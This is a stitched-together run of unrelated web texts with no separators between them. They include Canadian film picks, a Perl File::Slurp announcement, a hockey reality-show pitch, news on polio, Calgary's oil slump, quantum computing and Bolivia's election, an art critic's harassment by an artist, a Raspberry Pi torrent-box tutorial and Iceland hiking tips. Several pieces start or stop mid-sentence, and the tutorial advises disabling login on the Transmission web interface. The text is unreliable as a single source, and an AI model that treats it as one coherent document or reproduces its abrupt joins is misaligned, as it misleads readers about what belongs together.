you're now officially a fan of director Jean-Marc Vallée. So why not go back to the movie that put him on the map? It's the story of Zach, who hates Christmas, hockey and his three brothers. On the plus side, there's boys and David Bowie. A movie about a father's love told with rock 'n' roll flair. If you like Crazy, Stupid, Love, try The F Word For rom-com fans with a Harry Potter hankering, The F Word (also known as What If in the United States) is the tonic for all those sugary-sweet stories. Daniel Radcliffe and Zoe Kazan play two goofs in love trying to stay in the friend zone. Where's the Cancon? Toronto actually plays itself, and the refreshingly cosmopolitan attitudes make Zoe and Dan honorary Canadians. If you like Pulp Fiction, try Rhymes for Young Ghouls If director Quentin Tarantino grew up on a Mi'kmaq reserve, his first film might have looked something like Rhymes for Young Ghouls. With swagger to spare, director Jeff Barnaby gives us characters that are raw, real and haunted. A heist film set around a residential school? What took so long? If you're tired of Twilight, try Ginger Snaps Forget Bella mooning over Edward. For a real bite of girl power, check out Brigitte and Ginger, two awkward teen sisters whose lives change after a supposed wolf attack. It puts a whole new spin on "I am woman, hear me roar." If you like Survivorman, try Project Grizzly Before there was Les Stroud rubbing twigs together, there was Troy Hurtubise — the Hamilton inventor who decided to build a suit that would withstand a bear attack. Once encased in the suit, Hurtubise subjects himself to a battery of tests that would put Wile E. Coyote to shame. In 2017, Hurtubise would be the star of his own reality show. But this 1996 flick is a tale of man vs. beast you can binge in a single sitting. Looking for more? Head over to the National Canadian Film Day website for list of free screenings and special guest appearances across the country. If you can't get out, CBC is offering a great selection of movies to stream online. The epic Atanarjuat: The Fast Runner. The beauty of Manufactured Landscapes. Go ahead and click. We won't tell the boss.Have you ever wanted to use perl -pi inside perl? Did you have the guts to localize $^I and @ARGV to do that? Now you can do that with a simple call to edit_file or edit_file_lines in the new.018 release of File::Slurp. Now you can modify a file in place with a simple call. edit_file reads a whole file into $_, calls its code block argument and writes $_ back out the file. These groups are equivalent operations: perl -0777 -pi -e's/foo/bar/g' filename use File::Slurp qw( edit_file ) ; edit_file { s/foo/bar/g } 'filename' ; edit_file sub { s/foo/bar/g }, 'filename' ; edit_file \&replace_foo, 'filename' ; sub replace_foo { s/foo/bar/g } edit_file_lines reads a whole file and puts each line into $_, calls its code block argument and writes each $_ back out the file. These groups are equivalent operations: perl -pi -e '$_ = "" if /foo/' filename use File::Slurp qw( edit_file_lines ) ; edit_file_lines { $_ = '' if /foo/ } 'filename' ; edit_file_lines sub { $_ = '' if /foo/ }, 'filename' ; edit_file \&delete_foo, 'filename' ; sub delete_foo { $_ = '' if /foo/ } So now when someone asks for a simple way to modify a file from inside Perl, you have an easy answer to give them.As a die-hard hockey fan, it’s my firm belief that the
wheels as we cannot compete with other indie films which are being made for 50 million or more. Our film crew has a passion for watching and playing hockey and therefore it makes sense to take our indie film skills and follow something we love - hockey. We met with the Grand Rapids Griffins management staff and they were very excited about the reality show concept. But they needed approval from their parent club - the Detroit Red Wings. The Griffins asked us to film a pilot project to send to Detroit for approval. After several months of waiting-the official approval came from the Red Wing organization. We have been granted media access to start filming during training camp where the Wings and Griffins prepare for the upcoming AHL and NHL season. Following training camp we will be with the Griffins at Van Andel arena in search for a compelling story to tell the world. We will follow player, fans and staff members during the season. The intent is to produce a pilot show to present to a network and hopefully sell the show. We also want to put our home town, Grand Rapids, Michigan on the map and make the Grand Rapids Griffins an international brand. We would like to help this organization sell seats and merchandise and make it a win-win relationship. The money will be used for equipment, travel / accommodations, all aspects of production from shooting to editing to encoding. We will also actively market this concept to local, national and international television markets.Pakistani mother holds her child as a health worker gives him a polio vaccine in Lahore, Pakistan, on Aug. 15, 2015. (Photo: K.M. Chaudary, AP) (NEWSER) – For nearly his entire life, a 29-year-old man living in the United Kingdom has had the polio virus living in his gut—where the strain has mutated from the weakened form he received in a vaccine as an infant to a much more virulent strain, according to a study published in PLOS Pathogens. It's a case that NPR sees as "a worrisome new development in the polio end-game." Live Science and the Guardian report the man was given an oral form of the polio vaccine at 5, 7, and 12 months. Unlike the injectable version, the oral vaccine uses a live virus that's typically excised from the child's gut within two months. But the man had an immune disorder that killed his gut's ability to kill the virus. And so it has lingered there, and in his stool: More than 100 samples taken over the past 20 years have returned significant levels of what had become a mutated virus. As for how potent that virus has become, Live Science reports that it was able to paralyze a mouse but was found to be harmless when tested on the blood of vaccinated humans. Just 73 cases of polio living long term in someone's gut have been found in the past 52 years, and only about 10% of those extended beyond five years. Researchers write that the case "represents by far the longest period of excretion" known from "the only identified individual known to be excreting highly evolved vaccine-derived poliovirus." But researchers believe there may be more individuals like him based on sewage samples taken in countries as varied as Finland and Israel. The implications, per the Guardian: It sees the potential for immunocompromised patients like this man to spur a fresh polio outbreak and observes that "before the disease can be completely wiped out, mutated strains of polio virus derived from vaccines must be tackled." This article originally appeared on Newser: More from Newser: Read or Share this story: http://usat.ly/1F2UejtOn August 20th, 2016, I helped organize the first workshop in my college, Christ University, titled “FOSS and Fedora“. The event was a great success! Reviving Labyrinth I have planned to do this for more than two months, but we didn’t have any computer science club in my college. If it was for one event, we could have done it separate, but I wanted to organize multiple workshops (open source, mobile app development, website development, competitions, robotics etc). Thus, we needed a proper platform to easily organize the events without bothering too many people. I put the idea to open a club and inaugurate it. Later, we came to know that there was already an existing club named Labyrinth. This club was inactive for more than 18 months. No one was aware of it excluding four to five teachers. The teacher whom we approached to help us in initiating a new club also was not aware of it. After talking to the management, they told us the same thing. Starting a whole new club would take too much time, so we reopened Labyrinth and we had our first workshop in it. Thanks to mentors and speakers Before talking about the workshop, I must thank a few people whom without their help, this wouldn’t have been possible. Vinay M.: The professor who has supported us in everything. From the idea to open a new club to organizing this workshop. He has helped us a lot. Thank you, sir! Karthik and Prakash: These are my friends and helped with planning and executing the workshop! Sumantro Mukherjee and Kanika Murarka: For speaking on open source and Fedora! And last but not the least, all the participants for coming and being a part of the workshop. Bangalore workshop topics The workshop mostly covered FOSS and Fedora. For those who don’t know what FOSS is, it stands for free and open source software. We used a panel room to conduct this workshop, which was perfect for around 50-100 participants. The workshop was just for one hour and thirty minutes. I invited Sumantro Mukherjee (my mentor in Red Hat) and Kanika Murarka (Red Hat Intern) as our guest speakers. They covered the following topics during the time: FOSS and Fedora What is FOSS? Why FOSS? Getting industry-ready Discussions around diversity and contribution spectrum All FOSS projects are open-sourced: so contribute anywhere All contributors do not have to code; can be designers or can help in documenting How to start with FOSS Introduce yourself: let the world know who you are on mailing lists Every project has identity methods: Fedora has the Fedora Account System (FAS) What if you run into an issue? Use IRC! Fedora and contribution pathways start.fedoraproject.org apps.fedoraproject.org Fedora Docs Packaging (and using Bodhi) Fedora Magazine Recognition Model: Fedora Badges Creating Accounts (FAS, mailing lists, etc.) admin.fedoraproject.org For Fedora QA: all the people redirected to the QA mailing list Otherwise, shoot a mail to respective mailing list Freenode IRC webchat I introduced the club and spoke about its vision. One of our goals is how it can help others be industry-ready. I talked about my journey in FOSS and how I started to contribute to Fedora. Very briefly, I talked about the things I do in Red Hat and how contributions help everyone in the future. As we had little time to introduce a big topic, we kept things brief. We realized that people are more interested in getting hands-on experience than sitting and listening to some person speaking about their future. We got received good responses from the participants and I have already received a dozen of suggestion emails. Thank you for being there, being a part of this club, and providing the feedback. In the next workshop, the audience will learn how they can contribute to big projects on GitHub and how others can contribute on their own with Fedora QA. Workshop pictures Here are some more pictures of the workshop! Share this: Email Print Facebook Twitter Google Telegram Reddit More Pinterest LinkedIn WhatsApp Pocket Skype Like this: Like Loading...Dear fellow Hanoverians: “SANTA ARRIVES” for the annual CHRISTMAS TREE LIGHTING SPONSORED BY THE HANOVER LIONS CLUB JOHN CURTIS FREE LIBRARY 534 HANOVER STREET (ROUTE 139) SATURDAY DECEMBER 6th GIRL SCOUT TROOPS CHRISTMAS CAROLING 2:00 p.m. HANOVER HIGH SCHOOL BAND 2:30 p.m. SANTA ARRIVES AT 3:00 p.m. TREE LIGHTING at 4:00 p.m. REFRESHMENTS PICTURES WITH SANTA FOR MORE INFORMATION CONTACT BOB COLUCI AT 781-337-1650 or RCOLUCI@AOL.COM. For “Around Town on the Web”, Cathy H-B — “Around Town on the Web” (“ATOTW”) has been a valued push notification since the spring of 2004 – long before there were push notifications! For submission guidelines and answers to frequently asked questions about “ATOTW”, please go to http://www.atotw.com. To search for archived “ATOTW” news, view the archive . If you would like to be added to this distribution list, click here . Please follow the link in the response e-mail to validate your account. You will not receive “ATOTW” e-mails until you complete this step. If you would like to be removed from this distribution list, click here . — powered by phpList, www.phplist.com —A campaign has been launched by police in Cambridgeshire, England, to highlight and reach out to male victims of domestic violence. The campaign is the second that the force have targeted at male victims of abuse. Detective Inspector Alan Page, of Cambridgeshire Police, said: “Throughout the year we run a number of high-profile campaigns to target women who are victims of domestic abuse and it’s important this work continues as they represent around 75 per cent of victims. “However we believe there are men out there who are not reporting the abuse they suffer and it is those men we are trying to reach out to this Valentine’s. “We have anecdotal evidence to suggest domestic abuse against men is under-reported and we know from feedback we have received that some men do not feel there is enough work done to highlight this issue.” The initiative features a poster with an image of a flower, and the words “she loves me, she loves me not”. In addition, Facebook adverts and print advertising are being used to support the campaign. SOURCES http://www.cambstimes.co.uk/news/police_launch_valentine_s_campaign_to_highlight_domestic_abuse_against_men_1_3316311 http://www.aboutmyarea.co.uk/Cambridgeshire/St-Neots/PE19/News/Local-News/267494-She-Loves-Me-She-Loves-Me-NotImage: Dave Cheng/ZDNet Quantum computing is expected to revolutionise the world. It's an ambitious statement, but one professor Michelle Simmons, director at the Centre for Quantum Computation and Communications Technology (CQC2T), and teams of researchers from the University of New South Wales (UNSW) believe to be true. A quantum computer will have the capacity to perform complex mathematical equations within minutes that would otherwise take a classical computer years or even centuries to complete. In the quantum world, every time a quantum bit (qubit) is added, the amount of information is doubled. "If I can get to 300 qubits, there's a prediction that it's more than all the atoms in the universe working together as a calculation," Simmons said, speaking at D61+ Live in Melbourne last week. "If you try and build a million qubit system, at the moment, they're predicting it would be the size of a football pitch to actually build it." There's a big race internationally to get to a 30-qubit system as fast as possible to show that calculations in a quantum regime will beat a classical computer. Simmons believes Australia can get there first. UNSW puts its money on silicon reigning supreme There are five leading hardware configurations for a quantum computer, and scientists the world over are trying to determine which is going to be the winner. "We've invested in silicon so we think that's going to win," Simmons said. "There's competition out there and it's very interesting to see how that competition is evolving." One of the key aspects in looking at how good a qubit is, is its longevity -- how long and how accurately can it hold quantum information. According to Simmons, silicon qubits have some of the best numbers in those fields, but UNSW are behind where they wanted to be because it had to develop the technology to build at the atomic scale. The university is currently attempting to build a 10-qubit system. "We do believe that silicon is the one that has longevity; it's a manufacturable material and it has some of the highest quality qubits that are out there," Simmons said. "That's why it's very exciting for Australia. We actually believe this can go all the way, and we believe we can build it in Australia." Simmons said there are just six companies dedicated to quantum computing hardware in the world, and said Australia is incredibly well-positioned. "I came away thinking, 'thank god I'm in Australia', because I think what we've got going on in Australia is something unique and I think the technology we've got is going to take us all the way," she said of her recent meeting in Europe with the five other organisations. "If you look at all the US government labs, they're all chasing us in the silicon field. "My goal is to get there first -- so wish me luck." The application & commercialisation of quantum computing Simmons said today organisations are faced with what is called the travelling salesman problem -- a dilemma near impossible in the classical computing world. "This is a real problem companies face to try and minimise their fuel costs, or optimise their distribution systems," Simmons explained. "This is one example... where massively paralleled computing, if it comes in, will start to solve that in real-time." Simmons said calculations that simply cannot be done in one lifetime start to become accessible in the quantum world. With the likes of defence giant Lockheed Martin testing its jet software; NASA gathering copious amounts of data from space; and Google investing aggressively in self-driving cars, machine learning, and artificial intelligence, Simmons said it's predicted 40 percent of all industry in Australia will be impacted by quantum computing, pointing also to the interest and investments the Commonwealth Bank of Australia (CBA) has made in quantum computing thus far. One of the questions Simmons is constantly asked is how long until quantum computing becomes a reality. She has mapped out the classical industry from the invention of the first transistor back in 1947, explaining it took roughly 10 years before it got integrated. It then took another five to 10 years before a commercial product began to emerge. "You can actually plot that for the transistor on my laptop now, developed in 1960, took about 10 years before they got the first integrated processor, another five to 10 years before they got products out of it," Simmons said. "The key message from this is that it takes 10 years from the design of a particular transistor type before you can get it an integrated circuit and then another five years before you get commercial products coming out." The CQC2T roadmap sees its researchers now rushing towards an integrated circuit by 2022. But, at the same time, Simmons needs to ensure there's a commercially viable product at the end of the process. "This a long-term project -- we're looking at another 10 to 15 years of investment to be able to get to a product," she explained. Simmons and the university's Centre of Excellence has partnered with the federal government, CBA, and Telstra to form a startup company that is tasked to build a 10 qubit prototype. The startup sits alongside the university's Centre of Excellence, which has been funded for another seven years as of 2018, to do the fundamental research, engineering, and algorithm development around how UNSW is going to operate and run the quantum computer. UNSW researchers are working with almost every school of quantum research across the world it can, while also working directly with end-users to figure out what hardware is required specific to the application the end-users want to run. Australia accelerating with quantum advancements Simmons and her teams have been working on all this since 2000, developing their first qubit in 2012. A team of researchers she led unlocked the key to enabling quantum computer coding in silicon in late 2015, announcing that UNSW had the capability to write and manipulate a quantum version of computer code using two qubits in a silicon microchip. The breakthrough followed on from an announcement made a month prior when another team of engineers from the university built a quantum logic gate in silicon, which made calculations between two qubits of information possible. Engineers at UNSW then announced in October they had created a new qubit which remains in a stable superposition for 10 times longer than previously achieved, expanding the time during which calculations could be performed in a future silicon quantum computer. Following the advancements UNSW achieved in quantum computing, the federal government allocated AU$26 million of its AU$500 million science funding to support its work in quantum computing, made available under Australia's AU$1.1 billion National Innovation and Science Agenda. Within 48 hours of the cash injection from the federal government, CBA pledged AU$10 million over five years to support the university's researchers, and Telstra then matched the bank's efforts, also pledging AU$10 million over five years, to boost UNSW's capacity to develop the world's first silicon-based quantum computer. It isn't just UNSW making quantum breakthroughs in Australia; scientists at the University of Sydney have developed a machine learning technique to predict the demise of quantum computing systems in a bid to keep qubits from breaking. The university was also awarded part of a multimillion dollar research grant from the United States Office of the Director of National Intelligence to advance its research in quantum computing last May. Physicists at the Australian National University successfully completed an experiment to stop light in September, a critical step in developing future quantum computers; while the University of Technology launched its new Centre for Quantum Software and Information in December, dedicated to the development of the software and information processing infrastructure required to run applications at quantum scale. Disclosure: Asha McLean travelled to D61+ Live as a guest of Data61.Crime is rising, home prices are falling and food banks are overwhelmed in Calgary as job losses spread. And the worst isn’t yet over in the heart of Canada’s oil patch. Some of the city’s largest employers are poised to cut more jobs in 2016 as they reduce spending for a second straight year, adding to an estimated 40,000 oil and natural gas positions lost across the nation since the crude price rout began 18 months ago. “We all know someone who has lost a job,” Naheed Nenshi, the city’s mayor, said in a speech this month, lamenting the “funeral”-like atmosphere in the business community. Calgary, which boasted one of the lowest jobless rates in the nation as crude prices rose over US$100 a barrel, is reeling after a global glut pushed prices down by two-thirds. Shares of energy producers have slumped along with oil. While Alberta’s biggest city is benefiting from gains in tourism and transportation, its economy is still 30 per cent dependent on oil and gas, according to the mayor. The largest 23 Canadian producers are set to spend 11 per cent less in 2016, a cut of about $3.61 billion. That includes reductions by Canadian Natural Resources Ltd., Imperial Oil Ltd. and Cenovus Energy Inc., according to company forecasts and analyst estimates compiled by Bloomberg. It follows a 32 per cent cut in 2015. Jillian Berling-MacKenzie, 25, was one of the lucky few of her graduating geology class to secure full-time work this year, at oil company ConocoPhillips. She bought a house with her boyfriend, also a newly graduated geologist with a job, before they both became victims of the cuts. A friend’s company has provided some contract work paying slightly more than employment insurance as Berling-MacKenzie tries to land positions just about anywhere, seeing no postings she qualifies for in her field. Career Change The dearth of opportunities has Keely Eng, 27, seeking a career change. Eng was let go from an engineering position in March at Nexen, the Cnooc Ltd. subsidiary. Dreading an extended job hunt, Eng took medical school exams and has applied to several programs. “The industry isn’t doing well and I’m not super- established, so it isn’t too late to switch,” Eng said. Career transition firm Gilker McRae Ltd. is already hearing from companies planning next year’s cuts. The firm helped with more than 20 downsizings in 2015, mostly in Calgary, said Ross Gilker, owner and president. A typical year would include one to three. Stampede Cuts The impact of the energy downturn is easy to see downtown in the easing traffic, emptier office buildings and closed restaurants. The Calgary Stampede, which runs an annual rodeo and events throughout the year, suffered its own round of cuts last month after losing funding and site bookings. Kevin Mulligan, 61, was among Stampede workers who “got the Tuesday boot,” he said. The former park maintenance manager, six years from retirement, is helping his wife with a Christmas wreath-making side business to supplement severance payments while job-hunting. “My new job is finding a job,” Mulligan said. Calgary’s unemployment rate rose to 6.9 per cent in November from 4.6 per cent a year earlier, Statistics Canada data show, as 21,100 more were put out of work. Home sales have fallen 21 per cent this year as the average price skidded 2.6 per cent, according to the Calgary Real Estate Board. Brown Bagging for Calgary’s Kids is providing 16 per cent more school lunches than in September — about 2,900 across 187 schools. The rise is unprecedented, said Tanya Koshowski, the group’s executive director. Food bank use jumped 23 per cent in Alberta in the year ended March 2015, the country’s biggest increase, according to Food Banks Canada. Crime Surge Police are pointing to economic decline and rising drug use to explain Calgary’s crime surge. In the first 10 months of 2015, commercial break-ins almost doubled from a year earlier, bank robberies were up 65 per cent and home invasions increased 52 per cent, Calgary Police Service data show. There is a silver lining. Thanks in part to Canada’s weaker currency, some sectors have been doing well, such as transportation, agriculture and tourism, and have been a source of employment for people previously working in energy, said Todd Hirsch, chief economist at ATB Financial. He predicted the oil industry will start recovering in the second half of 2016 as companies stop cutting jobs. “We’ve got a bit more tough sledding before it starts to turn around,” Hirsch said. Greg Cosma is being patient about a rebound, using his woodworking skills and time to volunteer building houses with Habitat For Humanity. The 58-year-old engineer was let go from Cenovus in October, the second industrywide cut he’s endured in the past decade. “If you’re good at something, you have a future,” Cosma said, offering advice to the new grads entering Calgary’s energy work force: “Don’t sweat it.” Bloomberg.comIf a female art critic doesn't like a male artist's work, it's because she's an embittered, sexless old hag. That's just basic Art Science. And so who could possibly be mad at artist Loris Gréaud, who responded to one art editor's bad review with a message urging her to "get a boyfriend?" Lauren Smart is the Arts Editor at the Dallas Observer (where, full disclosure, I used to work, although Smart and I don't know each other). On Friday, Smart wrote a less-than-flattering review of Gréaud's new show at the Dallas Contemporary gallery, which she found just kind of... meh. The artist hired a bunch of people to destroy all the art midway through the opening night party. Smart wasn't sure she quite got the point, writing: I've been thinking about it a lot for the past week. What did he mean by destroying the art? Or what did he mean by his installation in the first place? There is something that's meant to be site-specific, right? This work was created for the Dallas Contemporary over five years of discussion. He made a large, pretentious, vapid exhibition that you can imagine people walking through, nodding and smiling, before being escorted out for a fabricated emergency. Advertisement Pretentious? Vapid? Modern art? NO WAY. (Just a quick programming note here: the artist's Facebook profile photo is him in blackface rocking sort of a Hitler'stache and hairdo, because this man is Edgy and his art is Serious.) But Gréaud didn't take her criticism kindly, she reports today, writing in a Facebook message to her on Saturday that the review was "by far, and seriousely [sic], the most ignorant, the most ignorant, frustrated, uncultured and so badly written review i've ever read. thank you so much for according me this, truely [sic]." He added, with all the, er, creative spelling and punctuation in the original: in the meantime I really invite you (and here is a recipe for you,... you'll thank me in a while...): study a bit litterature, study A LOT art history and art after the 20 century (you'll be amaze) obiviousely ill higly recommand during this 4 years studies: a boyfriend with at least 400mg Anadrol a day... and I swear you'll make it. Advertisement Anadrol is a steroid that is often used alongside testosterone injections. He's trying to urge her, rather clumsily, to get a boyfriend that fucks her good. Very creative, Monsieur Gréaud! When Smart responded "Thanks for the advice," Gréaud doubled down, suggesting again that she seeks out a boyfriend with Anadrol in his system, adding that she simply didn't have the capacity to understand his great work: in your case its more complicated cause you don't have the ability, the capacity, the culture and the elegance to formulate such a simple objective review. its so full of ignorance and absurdities, that is so funny. my advises are serious, there is too much itelectual frustrations, do some work a bit please. Advertisement Gréaud promised several times to make Smart "a review star," promising to share her work all over social media and in his newsletter. Yet somehow he hasn't gotten around to sharing that review on his personal Facebook or his professional page. What a strange oversight for a guy who handles criticism so well.MERRY JANE News hit the streets of Hollywood to find out. Guess what? It’s definitely our favorite time of the year again (but we’re sure we didn’t need to remind YOU). Of the 365 days in the calendar year, April 20th has a lot more significance if you’re a part of cannabis culture. Otherwise, it would just be a regular Thursday—and what’s the fun in that? Since this is the day where stoners around the world will toke up in solidarity, MERRY JANE News hit the streets of Hollywood to ask people how they will be celebrating 4/20 this year. Will they be sticking to edibles? Trying a new strain? Lighting up for the first time? If you haven’t decided yet, please take some inspiration from the fine folks we spoke to, and let us know how you are going to celebrate in the comments below! Always remember, “Yes We Cannabis”, and MERRY JANE wishes you a blazingly beautiful 4/20.If you are already using your Raspberry Pi as a server, you’ll want to add some torrent capabilities. You can do this with a popular torrent program called Transmission. Usually, Transmission is a standalone program you can use to manage your torrents but in this tutorial you’ll build a Raspberry Pi Torrent Box to be able to manage your torrents on any web browser on your home network. This is very useful because you can use any computer in your house to download torrents and connect your Raspberry Pi to a Network Attached Storage (NAS) to store your files. Caveat: The only downside is that the Raspberry Pi’s Ethernet maxes out at 100 Mbps. If you have faster internet, you won’t be able to utilize its full speed while downloading torrents. You can check out Jeff Geerling’s post for information and benchmarks on adding a Gigabit adapter to your Pi to increase Ethernet speeds. I would not suggest downloading over WiFi as it is generally slower than wired Ethernet speeds. Requirements Instructions 1. Install Raspbian OS First, you must install the Raspbian OS on your Raspberry Pi. Check out the official guide here. 2. Set a static IP address You’ll want to set a static IP address on your Raspberry Pi to ensure you will always be able to connect to it at the same IP address. To do this, use my guide here. 3. Install Transmission Connect to your Raspberry Pi over SSH or open a new terminal window and run the following commands to bring your Raspberry Pi up to date: sudo apt-get update sudo apt-get upgrade 1 2 sudo apt - get update sudo apt - get upgrade Now install Transmission with the following command: sudo apt-get install transmission-daemon 1 sudo apt - get install transmission - daemon Press Y at the prompt. It will take a couple of minutes to download and install. Once it is installed we will need to stop it so we can make some changes in the settings to be able to access it. Use the following command to stop Transmission: sudo service transmission-daemon stop 1 sudo service transmission - daemon stop Next, type the following command to get your router’s gateway address. route -n 1 route - n Note the IP address under gateway. We will need this for the next step. Next, let’s edit Transmission’s settings by running the following command: sudo nano /etc/transmission-daemon/settings.json 1 sudo nano / etc / transmission - daemon / settings. json Use your arrow keys to navigate down to the line that says ‘rpc-whitelist‘. We will add our local network to this. The default setting is localhost (127.0.0.1) which will only allow access from the Raspberry Pi itself. Add a comma after 127.1.0.1 and enter the first 7 digits of your routers gateway address and add an * instead of the last digit. This is to add a range of addresses Transmission can connect to. It should look something similar to the image below. Once you change the white-list settings, you’ll want to change the ‘rpc-authentication-required‘ from true to false. This will disable the login that is required when trying to access the GUI. Optional changes you can make are: “download-dir”: Change this value to choose the default location of your downloaded files. I recommend this being a network share or an external HDD. “download-limit”: Change this to allow simultaneous torrent downloads. I chose to only download 1 torrent at a time. “incomplete-dir”: Also map this to your network share or external HDD. After you’ve made these changes save them by pressing CTRL+X then Y then ENTER. Now, start up transmission again by using the following command: sudo service transmission-daemon start 1 sudo service transmission - daemon start You can now access the Transmission GUI by opening up a web browser from any computer connected to your network to manage your Torrent Box. To do this, open up a web browser and navigate to: http://192.168.1.4:9091/ 1 http : //192.168.1.4:9091/ Change the IP address to match your Raspberry Pi’s IP address. This is the Transmission GUI where you can add torrents and manage your downloads! I recommend mapping a network drive to your Raspberry Pi so that you don’t use up your limited microSD card storage. 4. Mapping a network drive to a Raspberry Pi (with automount) Your Raspberry Pi microSD card can fill up quickly. Especially if you plan on turning it into a media server or torrent box. The best place to store your media files or downloads would be a Network Attached Storage (NAS). This could be in the form of a NAS like “WD My Cloud” or similar, or simply an external HDD connected via the USB port of your router. Follow my tutorial on how to do this and you’ll be set up in no time! (Visited 4,164 times, 1 visits today) Share this: Twitter Facebook Google Reddit Pocket Like this: Like Loading...Share: ISLAMABAD - Chief of Army Staff General Raheel Sharif yesterday arrived in Prague on a day-long visit where he met the two top officials from the Czech Republic. During the meeting, topics of mutual interests, military-to-military relations and defence cooperation came under discussions. Chief of the General Staff and Defence Minister of Czech Republic expressed interest for training of their country’s troops by Pakistan Army, Inter-Services Public Relations (ISPR) said in a statement on Wednesday. Issues of mutual interest, military to military, defence cooperation were discussed. The Czech officials expressed special interest in training of officers by Pakistan Army. Earlier, the army chief was also presented the guard of honour by the Czech troops, the military’s media wing ISPR said. On June 20, Gen Raheel had discussed military-to-military ties as well as security cooperation with his German counterpart and the defence minister. According to ISPR, the top army chiefs met at the “historic Ministry of Defence” in Berlin, where General Raheel was also given a guard of honour. The army chief was in Germany on a two-day official visit. TURKISH FIRM TO UPGRADE PAK SUBMARINE Ministry of Defence Production yesterday signed a contract for mid life up-gradation of existing Khalid class submarine with a Turkish firm STM savunma Teknolojileri muhendislik ve Ticaret. It is a an important Defence project that will go a long way in enhancing the operational capabilities of existing submarine of Pakistani navy besides further strengthening the defence ties among two brotherly countries. Secretary Ministry of Defense Production Lt. Gen (Retd) Syed Muhammad Owais and Ambassador of Turkey in Pakistan and high officials of both counties were present in the ceremony.New technology detects and tracks you from the second you arrive at the airport until you're out of the arrivals hall at your destination. More and more people are traveling by plane, so automating airport security checks makes sense. The use of biometric features is a way to identify people at airports. Biometrics measures biological patterns -- such as fingerprints, iris patterns, head shape or gait. "When a lot of people gather in one place, queues develop quickly," says postdoctoral fellow Raghavendra Ramachandra at NTNU's Biometrics Laboratory in Gjøvik. "Rather than stop every single person at an airport gate, we've developed algorithms that recognize people's faces, based on electronic passports with a photo and ID number," he says. This technology allows recognized and identified individuals to be let through automatically. Facial recognition software is already fully developed, and soon the technology company Safran Morpho will test it at several airports worldwide. Privacy is paramount But what happens to privacy in this situation? "Privacy is our top priority. The information on individuals' movements is not stored in the databases. If someone were to hack the databases, they wouldn't be able to reconstruct the data, " says Ramachandra. Face recognition is the preferred method to identify people at airports, because it is easy for users. It is a means of authentication that does not require contact, and it is not distracting to the user. In actuality, people being identified will not notice anything. One goal of the project is to increase border control security. Different practices on different continents Europe has strict regulations for privacy and for how to store information about people, but this is not the case everywhere. Ramachandra says that several countries in Asia have initiated national ID programmes to collect biometric information on everyone in the country. He says that centralized data storage is not possible in Europe due to the stringent security regulations regarding the storage of personal data. "As researchers, we try to minimize the risk of personal information going astray. There's always the possibility of being hacked when you save information digitally, but in using biometrics we try to mitigate this risk by avoiding centralized storage," he says. EU project Safran Morpho demonstrated the project's facial recognition research results at the FIDELITY conference held in Brussels in December 2015. The EU FIDELITY project ended in January 2016. Over the last four years, the project developed solutions and new proposals for fast, secure and efficient real-time authentication of individuals at border crossings. NTNU researchers in Gjøvik have been involved in developing solutions for facial recognition, iris recognition, large-scale fingerprint indexing, privacy and biometric finger vein recognition.As you might already know, I stayed in Iceland for the last six months of 2015 and while being there I executed nine very different hiking trips. Being accustomed to hiking in the Alps, I noticed that the Icelandic mountains differ from the Alps in many ways. In order to help you stay safe and comfortable while hiking in this northern country, I will in the following describe what surprised me the most there – as well as give you some basic tips which will improve your “Icelandic experience”. If you have any additional questions about hiking in Iceland please don’t hesitate to drop me a line in the comments section below. Here are the 10 things you should know before going hiking in Iceland. 1. Weather The weather in Iceland is in general bad and you’ll have to be very lucky to get a sunny day for hiking there. From the nine hiking trips that I conducted (and logged) through the period of six months none was done on a completely sunny day. Unsurprisingly, you are most likely to have sunny, if not warm weather in the three summer months. Regardless of season, the weather can change extremely fast and the strong wind never stops blowing as there is little shelter to be found among the few trees in Iceland. The temperatures in summer rise up to 20 C and drop to – 10 C in winter. However, because of the wind chill effect it feels much colder. I would recommend you to bring windproof, waterproof and insulated clothing with you, no matter the season for your travel. 2. Day length The day length is definitely something you should take into account before heading out on a trail. In summer days are extremely long (up to 23 hours in June) and in winter extremely short (up to 4 hours in December). Therefore winter isn’t the best season to go for longer hiking trips in Iceland – at least if you prefer to hike in daylight. 3. You (probably) don’t need a guide Guided hiking tours are a
and binoculars, and enjoying an apple tart a la mode. So the images I ended up with aren't all they could be -- not as sharply focused as I'd like (I never have figured out a good way of focusing the Rebel on astronomy images) and rather grainy. Still, I took enough images to be able to put together a couple of animations: one of the lovely moonrise over the mountains, and one of the sequence of the eclipse through totality. Since the 90mm Mak was on a fixed tripod, the moon drifted through the field and I had to adjust it periodically as it drifted out. So the main trick to making animations was aligning all the moon images. I haven't found an automated way of doing that, alas, but I did come up with some useful GIMP techniques, which I'm in the process of writing up as a tutorial. Once I got the images all aligned as layers in a GIMP image, I saved them as an animated GIF -- and immediately discovered that the color error you get when converting to an indexed GIF image loses all the beauty of those red colors. Ick! So instead, I wrote a little Javascript animation function that loads images one by one at fixed intervals. That worked a lot better than the GIF animation, plus it lets me add a Start/Stop button. You can view the animations (or the source for the javascript animation function) here: Lunar eclipse animations [ 12:55 Oct 01, 2015 More science/astro \| permalink to this entry \| comments ] Fri, 24 Oct 2014Bolivia: Morales wins landslide re-election By Bill Van Auken 8 December 2009 Bolivian President Evo Morales won re-election by a landslide Monday, receiving at least 62 percent of the vote compared to 23 percent for his nearest rival. The results of the balloting gave Morales a second five-year term, while his Movement Towards Socialism party, or MAS, gained a two-thirds majority in the upper house of the Bolivian congress and a substantial majority in the lower house. However, the results exposed the continuing division of the country between the impoverished, predominantly indigenous highlands and the lowland regions, the center of the country’s business elite and its agricultural and energy wealth. The scale of Morales’s election victory was roughly on a par with other recent votes, including the overwhelming defeat of a “re-call” referendum aimed at ousting him in August of last year and a constitutional referendum last January in which he secured the right to seek a second term. Morales was first elected president in 2005, when he won just over 53 percent of the vote. He had come to political prominence as the leader of Bolivia’s cocalero movement, which defended the interests of small coca growers against efforts of the Bolivian and US governments to eradicate the crop. Coca production became an increasingly important economic activity under conditions in which jobs in the country’s mining sector were decimated and the economic viability of other crops declined. Morales’s first language is Aymara, and he describes himself as the country’s first indigenous head of state. The margin of victory in Sunday’s election is an expression in part of the popularity of the various social assistance programs that the Morales government has managed to implement with increased revenues from the country’s energy resources following the “nationalization” of Bolivian hydrocarbons in 2006. Announced with great fanfare, this action involved no expropriations of foreign energy producers, consisting essentially of an increase in taxation on their profits. The principal social assistance programs implemented by the Morales government consist of cash subsidies paid to pregnant women, children and the elderly. While these programs are popular and have reduced Bolivia’s poverty rate, it remains among the highest in the world, with 60 percent of the population classified as poor and nearly half of that number in extreme poverty. The aid programs have not altered the basic class relations that shape Bolivian society. They have had little impact on employment, with 